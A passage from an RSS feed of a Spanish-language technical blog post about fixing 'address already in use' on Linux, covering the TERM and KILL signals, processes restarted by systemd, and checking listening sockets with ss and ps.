&lt;td&gt;&lt;code&gt;TERM&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Que termine: cerrar lo que tiene abierto y salir&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;KILL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Nada. El kernel lo saca en el momento&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;El orden es &lt;code&gt;kill&lt;/code&gt;, esperar unos segundos, y &lt;code&gt;kill -9&lt;/code&gt; solo si sigue ahí.&lt;/p&gt;

&lt;h2&gt;
  
  
  Si vuelve solo, es un servicio
&lt;/h2&gt;

&lt;p&gt;A veces matás el proceso y el puerto vuelve a estar ocupado al segundo. Lo reproduje con un servicio de systemd que se reinicia solo, y pasó exactamente eso.&lt;/p&gt;

&lt;p&gt;En el &lt;a href="https://vtsecurity.com.ar/articulo/address-already-in-use?ref=devto#si-vuelve-solo-es-un-servicio" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; hay una figura donde le mandás pedidos, lo matás y mirás qué pasa con los que llegan mientras no está:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# systemd --user vigila demo-web.service (Restart=always)&lt;/span&gt;
&lt;span class="c"&gt;# python3 -m http.server, con PID 3366803, tiene el puerto :3000&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; 3366803
&lt;span class="c"&gt;# el proceso murió: lo que llega rebota hasta que systemd lo levanta&lt;/span&gt;
&lt;span class="c"&gt;# un segundo después hay otro PID, 3366835, y el puerto vuelve a contestar&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;systemctl &lt;span class="nt"&gt;--user&lt;/span&gt; stop demo-web
&lt;span class="c"&gt;# systemctl stop le avisa a systemd: nadie lo relanza y todo lo que llega rebota&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Los dos PID son los de la prueba real.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;El padre de ese proceso es systemd, así que matarlo no sirve. &lt;code&gt;systemctl status&lt;/code&gt; acepta un PID y te dice de qué servicio es:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;systemctl &lt;span class="nt"&gt;--user&lt;/span&gt; status 3366835 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-4&lt;/span&gt;
● demo-web.service - &lt;span class="o"&gt;[&lt;/span&gt;systemd-run] /usr/bin/python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 3000 &lt;span class="nt"&gt;--bind&lt;/span&gt; 127.0.0.1
     Loaded: loaded &lt;span class="o"&gt;(&lt;/span&gt;/run/user/1000/systemd/transient/demo-web.service&lt;span class="p"&gt;;&lt;/span&gt; transient&lt;span class="o"&gt;)&lt;/span&gt;
  Transient: &lt;span class="nb"&gt;yes
     &lt;/span&gt;Active: active &lt;span class="o"&gt;(&lt;/span&gt;running&lt;span class="o"&gt;)&lt;/span&gt; since Fri 2026-09-25 11:21:28 &lt;span class="nt"&gt;-03&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 1s ago
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Con eso sabés qué parar: &lt;code&gt;systemctl --user stop demo-web&lt;/code&gt;. En un servidor lo normal es un servicio del sistema, y va sin &lt;code&gt;--user&lt;/code&gt;. &lt;code&gt;systemctl disable&lt;/code&gt; hace que no vuelva a arrancar con la máquina.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Si en la columna del proceso dice &lt;code&gt;docker-proxy&lt;/code&gt;&lt;/em&gt;, el puerto lo publicó un contenedor. &lt;code&gt;docker ps&lt;/code&gt; te dice cuál, y se para con &lt;code&gt;docker stop&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  El criterio
&lt;/h2&gt;

&lt;p&gt;Antes de matar un proceso, fijate qué es y quién lo levantó: &lt;code&gt;ss -ltnp&lt;/code&gt; y &lt;code&gt;ps&lt;/code&gt; te lo dicen en dos líneas. Si vuelve solo, es un servicio y se para con &lt;code&gt;systemctl stop&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Y mirá la dirección en la que escucha. Si dice &lt;code&gt;0.0.0.0&lt;/code&gt; y no sabés por qué, arreglá eso antes que el error.&lt;/p&gt;




&lt;p&gt;Practicalo en el lab: &lt;a href="https://securitylabs.valentorassa.com/labs/linux-real/proceso-socket-evidencia-demo/" rel="noopener noreferrer"&gt;Del proceso al socket: una investigación con datos de juguete&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Lo publiqué primero en &lt;a href="https://vtsecurity.com.ar/articulo/address-already-in-use?ref=devto" rel="noopener noreferrer"&gt;vtsecurity.com.ar&lt;/a&gt;, donde las figuras son interactivas.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>webdev</category>
      <category>espanol</category>
    </item>
  </channel>
</rss>
